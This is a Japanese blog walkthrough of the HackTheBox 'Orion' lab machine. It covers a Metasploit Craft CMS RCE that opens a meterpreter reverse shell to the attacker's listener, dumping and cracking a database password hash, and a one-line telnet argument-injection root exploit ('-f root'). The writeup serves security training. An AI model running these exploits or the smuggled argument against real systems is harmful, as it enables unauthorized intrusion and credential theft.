0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Orion:Writeup

0
Posted at

概要

HackTheBox「Orion」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.129.16.212 -oN nmap_result

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx/1.18.0

orion.htbにアクセスします。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://orion.htb/ -x 404,400-499

[04:32:02] 302 -    0B  - /admin  ->  http://orion.htb/admin/login          
[04:32:03] 302 -    0B  - /admin/  ->  http://orion.htb/admin/login         
[04:32:03] 302 -    0B  - /admin/admin  ->  http://orion.htb/admin/login    
[04:32:04] 200 -   39KB - /admin/admin/login                                
[04:32:05] 302 -    0B  - /admin/index  ->  http://orion.htb/admin/login    
[04:32:05] 200 -   39KB - /admin/login                                      
[04:32:25] 301 -  178B  - /assets  ->  http://orion.htb/assets/             
[04:32:59] 200 -    9KB - /index.html                                       
[04:33:08] 302 -    0B  - /logout  ->  http://orion.htb/                    
[04:33:08] 302 -    0B  - /logout/  ->  http://orion.htb/

/admin/loginを発見したのでアクセスします。

image.png

CMS 5.6.16が使用されていると分かりました。
該当バージョンの脆弱性を検索すると、CVE-2025-32432がヒットしました。

POCはMetasploitモジュールを使用します。

msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > show options 

Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   ASSET_ID  004              yes       Existing asset ID
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni,
                                         http, socks4, socks5, socks5h
   RHOSTS    orion.htb        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
                                        metasploit.html
   RPORT     80               yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                      no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.16.29      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP In-Memory

exploitを実行するとリバースシェルを張れました。

msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit
[*] Started reverse TCP handler on 10.10.16.29:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (45739 bytes) to 10.129.108.242
[*] Meterpreter session 1 opened (10.10.16.29:4444 -> 10.129.108.242:45272) at 2026-07-04 10:43:36 -0400

meterpreter >

シェルに移行しttyの設定をします。

python3 -c "import pty;pty.spawn('/bin/bash')"

CMSのenvファイルを確認し、MySQLの認証情報を得られました。

www-data@orion:~/html/craft$ cat .env

CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

MySQLに接続します。

www-data@orion:~/html/craft$ mysql -u root -p
mysql -u root -p
Enter password: SuperSecureCraft123Pass!

DBからadamアカウントのパスワードハッシュ値を得られました。

MariaDB [orion]> select * from users;
select * from users;
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
| id | photoId | affiliatedSiteId | active | pending | locked | suspended | admin | username | fullName | firstName | lastName | email          | password                                                     | lastLoginDate       | lastLoginAttemptIp | invalidLoginWindowStart | invalidLoginCount | lastInvalidLoginDate | lockoutDate | hasDashboard | verificationCode | verificationCodeIssuedDate | unverifiedEmail | passwordResetRequired | lastPasswordChangeDate | dateCreated         | dateUpdated         |
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
|  1 |    NULL |             NULL |      1 |       0 |      0 |         0 |     1 | admin    | NULL     | NULL      | NULL     | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS | 2026-03-12 11:25:04 | NULL               | NULL                    |              NULL | NULL                 | NULL        |            1 | NULL             | NULL                       | NULL            |                     0 | 2026-03-12 11:24:51    | 2026-03-06 11:24:45 | 2026-03-12 11:25:04 |
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
1 row in set (0.000 sec)

ハッシュ値を解析し、平文が分かりました。

$ john --wordlist=/usr/share/wordlists/rockyou.txt adam_pass_hash
darkangel        (?)

adamアカウントでSSH接続に成功しました。

$ ssh adam@orion.htb
adam@orion:~$ id
uid=1000(adam) gid=1000(adam) groups=1000(adam)

ユーザーフラグを入手できました。

adam@orion:~$ cat /home/adam/user.txt 
af647a9d65a0738bb7dc1f5b1087f41a

Root Flag

linpeasを実行すると、ローカルで23番ポートが解放されていると分かりました。

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports           
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                      
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:23            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -          

Telnetのバージョンを確認します。

adam@orion:~$ telnet --version
telnet (GNU inetutils) 2.7

該当バージョンの脆弱性を検索すると、CVE-2026-24061がヒットしました。

POCを調べます。

POCを実行すると権限昇格に成功しました。

adam@orion:~$ USER='-f root' telnet -a localhost
root@orion:~# id
uid=0(root) gid=0(root) groups=0(root)

ルートフラグを入手できました。

root@orion:~# cat /root/root.txt 
e86d90ccf7240ec32979861d5f77fdca
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?